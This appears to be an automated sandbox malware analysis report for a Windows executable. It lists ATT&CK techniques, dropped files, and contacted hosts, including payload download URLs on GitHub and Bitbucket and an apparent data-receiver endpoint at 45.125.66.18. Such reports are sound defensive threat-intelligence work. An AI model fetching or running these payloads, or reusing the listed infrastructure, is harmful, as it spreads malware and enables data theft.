Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	11 Input Capture	1 Query Registry	Remote Services	11 Input Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	211 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UBONg7lmVR.exe	3%	ReversingLabs	Win32.Trojan.Generic
UBONg7lmVR.exe	14%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Reka\rapnewsa.exe	100%	Avira	HEUR/AGEN.1315917
C:\Reka\rapnewsa.exe	100%	Joe Sandbox ML
C:\Reka\rapnewsa.exe	16%	ReversingLabs
C:\Reka\rapnewsa.exe	24%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	8%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
s3-w.us-east-1.amazonaws.com	0%	Virustotal	Browse
bitbucket.org	1%	Virustotal	Browse
github.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
httpbin.org	1%	Virustotal	Browse
bbuseruploads.s3.amazonaws.com	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://httpbin.org/get	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recv	0%	Avira URL Cloud	safe
https://github.com/workhasf/kelm/raw/main/iconozave.exeraw.githubusercontent.com66666666666666666666	0%	Avira URL Cloud	safe
https://github.com	0%	Avira URL Cloud	safe
http://s3-w.us-east-1.amazonaws.comd	0%	Avira URL Cloud	safe
http://bbuseruploads.s3.amazonaws.comd	0%	Avira URL Cloud	safe
https://45.125.66.18/	0%	Avira URL Cloud	safe
https://45.125.66.18/api/receiver/recv	3%	Virustotal		Browse
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	0%	Avira URL Cloud	safe
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	0%	Virustotal		Browse
https://github.com/workhasf/kelm/raw/main/iconozave.exeraw.githubusercontent.com66666666666666666666	0%	Virustotal		Browse
https://aui-cdn.atlassian.com/	0%	Avira URL Cloud	safe
http://s3-w.us-east-1.amazonaws.com	0%	Avira URL Cloud	safe
https://bitbucket.org	0%	Avira URL Cloud	safe
https://aui-cdn.atlassian.com/	0%	Virustotal		Browse
https://bitbucket.org/updated24/updated24/downloads/Updated11.12.exe	0%	Avira URL Cloud	safe
http://bbuseruploads.s3.amazonaws.com	0%	Avira URL Cloud	safe
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	0%	Virustotal		Browse
https://github.com	0%	Virustotal		Browse
http://s3-w.us-east-1.amazonaws.com	0%	Virustotal		Browse
https://bitbucket.org	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
https://bbuseruploads.s3.amazonaws.com	0%	Avira URL Cloud	safe
https://45.125.66.18/	2%	Virustotal		Browse
https://web-security-reports.services.atlassian.com/csp-report/bb-website	0%	Avira URL Cloud	safe
http://bbuseruploads.s3.amazonaws.com	3%	Virustotal		Browse
https://45.125.66.18/api/receiver/recv)	0%	Avira URL Cloud	safe
https://bitbucket.org/updated24/updated24/downloads/Updated11.12.exe	1%	Virustotal		Browse
https://45.125.66.18:443/api/receiver/recv	0%	Avira URL Cloud	safe
https://dz8aopenkvv6s.cloudfront.net	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://web-security-reports.services.atlassian.com/csp-report/bb-website	0%	Virustotal		Browse
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/workhasf/kelm/main/yjsefceawd.json	0%	Avira URL Cloud	safe
https://45.125.66.18:443/api/receiver/recv	3%	Virustotal		Browse
https://cdn.cookielaw.org/	0%	Avira URL Cloud	safe
https://bbuseruploads.s3.amazonaws.com	3%	Virustotal		Browse
https://bbuseruploads.s3.amazonaws.com/5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-	0%	Avira URL Cloud	safe
https://dz8aopenkvv6s.cloudfront.net	0%	Virustotal		Browse
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe	1%	Virustotal		Browse
https://raw.githubusercontent.com/workhasf/kelm/main/nepipirusas.json	0%	Avira URL Cloud	safe
http://microsoft.coU	0%	Avira URL Cloud	safe
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	0%	Avira URL Cloud	safe
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	0%	Avira URL Cloud	safe
https://bbuseruploads.s3.amazonaws.com/5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-	4%	Virustotal		Browse
https://cdn.cookielaw.org/	0%	Virustotal		Browse
https://github.com/workhasf/kelm/raw/main/iconozave.exeC:	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exePROCESSOR_IDENTIFIER=Intel64	0%	Avira URL Cloud	safe
https://github.com/workhasf/kelm/raw/main/iconozave.exe	0%	Avira URL Cloud	safe
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	0%	Virustotal		Browse
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	0%	Virustotal		Browse
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exePROCESSOR_IDENTIFIER=Intel64	1%	Virustotal		Browse
https://github.com/workhasf/kelm/raw/main/iconozave.exe	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s3-w.us-east-1.amazonaws.com	52.216.51.233	true	false	0%, Virustotal, Browse	unknown
bitbucket.org	185.166.143.49	true	false	1%, Virustotal, Browse	unknown
github.com	140.82.121.3	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.111.133	true	false	0%, Virustotal, Browse	unknown
httpbin.org	3.211.178.193	true	false	1%, Virustotal, Browse	unknown
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://45.125.66.18/api/receiver/recv	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bitbucket.org/updated24/updated24/downloads/Updated11.12.exe	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://httpbin.org/get	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/workhasf/kelm/main/yjsefceawd.json	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/workhasf/kelm/main/nepipirusas.json	false	Avira URL Cloud: safe	unknown
https://github.com/workhasf/kelm/raw/main/iconozave.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com	y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.tiro.com	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://s3-w.us-east-1.amazonaws.comd	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/workhasf/kelm/raw/main/iconozave.exeraw.githubusercontent.com66666666666666666666	y5cm2yzz.hwt.exe, 00000002.00000002.2760615080.000000C0001BE000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://bbuseruploads.s3.amazonaws.comd	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://45.125.66.18/	rapnewsa.exe, 00000017.00000002.2746189003.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aui-cdn.atlassian.com/	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fonts.com	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://s3-w.us-east-1.amazonaws.com	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://bbuseruploads.s3.amazonaws.com	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fontbureau.com	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbuseruploads.s3.amazonaws.com	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://45.125.66.18/api/receiver/recv)	rapnewsa.exe, 00000017.00000002.2746189003.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.125.66.18:443/api/receiver/recv	rapnewsa.exe, 00000017.00000002.2746189003.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dz8aopenkvv6s.cloudfront.net	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.cookielaw.org/	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bbuseruploads.s3.amazonaws.com/5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://microsoft.coU	rapnewsa.exe, 00000017.00000002.2746189003.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/workhasf/kelm/raw/main/iconozave.exeC:	y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C00000E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exePROCESSOR_IDENTIFIER=Intel64	y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C00014C000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.166.143.49	bitbucket.org	Germany	16509	AMAZON-02US	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
52.216.51.233	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
3.211.178.193	httpbin.org	United States	14618	AMAZON-AESUS	false
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
45.125.66.18	unknown	Hong Kong	133398	TELE-ASTeleAsiaLimitedHK	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1499702
Start date and time:	2024-08-27 13:04:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UBONg7lmVR.exe renamed because original name is a hash value
Original Sample Name:	e1653e127b026feeb94faf95ccc260c4b063e2e3bb4f1cc361a4f9d8e928ae6e.exe
Detection:	MAL
Classification:	mal75.evad.winEXE@27/32@5/6
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 84% Number of executed functions: 244 Number of non-executed functions: 15
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target y5cm2yzz.hwt.exe, PID 7992 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.166.143.49	https://github.com/massgravel/Microsoft-Activation-Scripts	Get hash	malicious	Unknown	Browse
	sostener.vbs	Get hash	malicious	Remcos	Browse
	Crpted.vbs	Get hash	malicious	Unknown	Browse
	sostener.vbs	Get hash	malicious	Remcos	Browse
	remittances.exe	Get hash	malicious	Remcos, GuLoader	Browse
	ExeFile (71).exe	Get hash	malicious	Unknown	Browse
	xKCGmDmnB1.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Win32.DropperX-gen.16703.29630.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Win32.PWSX-gen.17487.29686.exe	Get hash	malicious	LummaC	Browse
	https://t.ly/tCnoF	Get hash	malicious	Unknown	Browse
140.82.121.3	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3
185.199.111.133	SecuriteInfo.com.Trojan-Downloader.Win32.Agent.xycwio.1244.6578.exe	Get hash	malicious	Coinhive	Browse
	https://slopeofhope.com/commentsys/lnk.php?u=https://haconsultores.com.mx/legend/maxwell/ldpzbsp/michaelm@umcu.org&c=E,1,A_Yp496oib_-f1w3pZp4Hud2rskHoBUUu9m1zLjByrw-OpNq6TJQE-QgWUsuKigOG1mWiTep0uj-kK8C5-LvX_Bqh-uGvKRKtcnVwRDbXNCSMFYS3grZceoYqs0,&typo=1	Get hash	malicious	HTMLPhisher	Browse
	https://github.com/massgravel/Microsoft-Activation-Scripts	Get hash	malicious	Unknown	Browse
	https://energyservices.org/	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Cryptbot, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	N8LgG4xO0F.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	5c683657-3d2b-5cd5-b372-9be474a3f97e.eml	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen21.45671.28064.9687.exe	Get hash	malicious	Unknown	Browse
	https://error--occurs--site.vercel.app/	Get hash	malicious	Unknown	Browse
45.125.66.18	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s3-w.us-east-1.amazonaws.com	Notificacon Documneto.vbs	Get hash	malicious	Unknown	Browse	54.231.130.97
	Mi_Documento.js	Get hash	malicious	AsyncRAT, DcRat	Browse	52.216.44.89
	https://github.com/massgravel/Microsoft-Activation-Scripts	Get hash	malicious	Unknown	Browse	52.216.169.27
	https://pentaleon.com/?sragyzsragyz	Get hash	malicious	Unknown	Browse	3.5.16.100
	sostener.vbs	Get hash	malicious	Remcos	Browse	3.5.29.127
	sostener.vbs	Get hash	malicious	AsyncRAT	Browse	52.217.200.17
	sostener.vbs	Get hash	malicious	Remcos	Browse	3.5.28.42
	http://yathuchandran.github.io/Metamask.clone	Get hash	malicious	Unknown	Browse	52.217.164.209
	http://web3linksync.pages.dev/	Get hash	malicious	Unknown	Browse	3.5.25.119
bitbucket.org	Notificacon Documneto.vbs	Get hash	malicious	Unknown	Browse	185.166.143.50
	Notificacon Documneto (2).vbs	Get hash	malicious	Unknown	Browse	185.166.143.48
	Mi_Documento.js	Get hash	malicious	AsyncRAT, DcRat	Browse	185.166.143.50
	https://github.com/massgravel/Microsoft-Activation-Scripts	Get hash	malicious	Unknown	Browse	185.166.143.49
	sostener.vbs	Get hash	malicious	Remcos	Browse	185.166.143.49
	sostener.vbs	Get hash	malicious	AsyncRAT	Browse	185.166.143.48
	Crpted.vbs	Get hash	malicious	Unknown	Browse	185.166.143.49
	sostener.vbs	Get hash	malicious	Remcos	Browse	185.166.143.49
	http://bitbucket.org/WindowsAddict/microsoft-activation-scripts/raw/35e044ddc85eed60b27b37c48371bd19cdc678b7/MAS/All-In-One-Version/MAS_AIO-CRC32_8C3AA7E0.cmd%20bitbucket.org	Get hash	malicious	HTMLPhisher	Browse	185.166.143.50
github.com	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	https://github.com/angryip/ipscan/releases/download/3.9.1/ipscan-3.9.1-setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
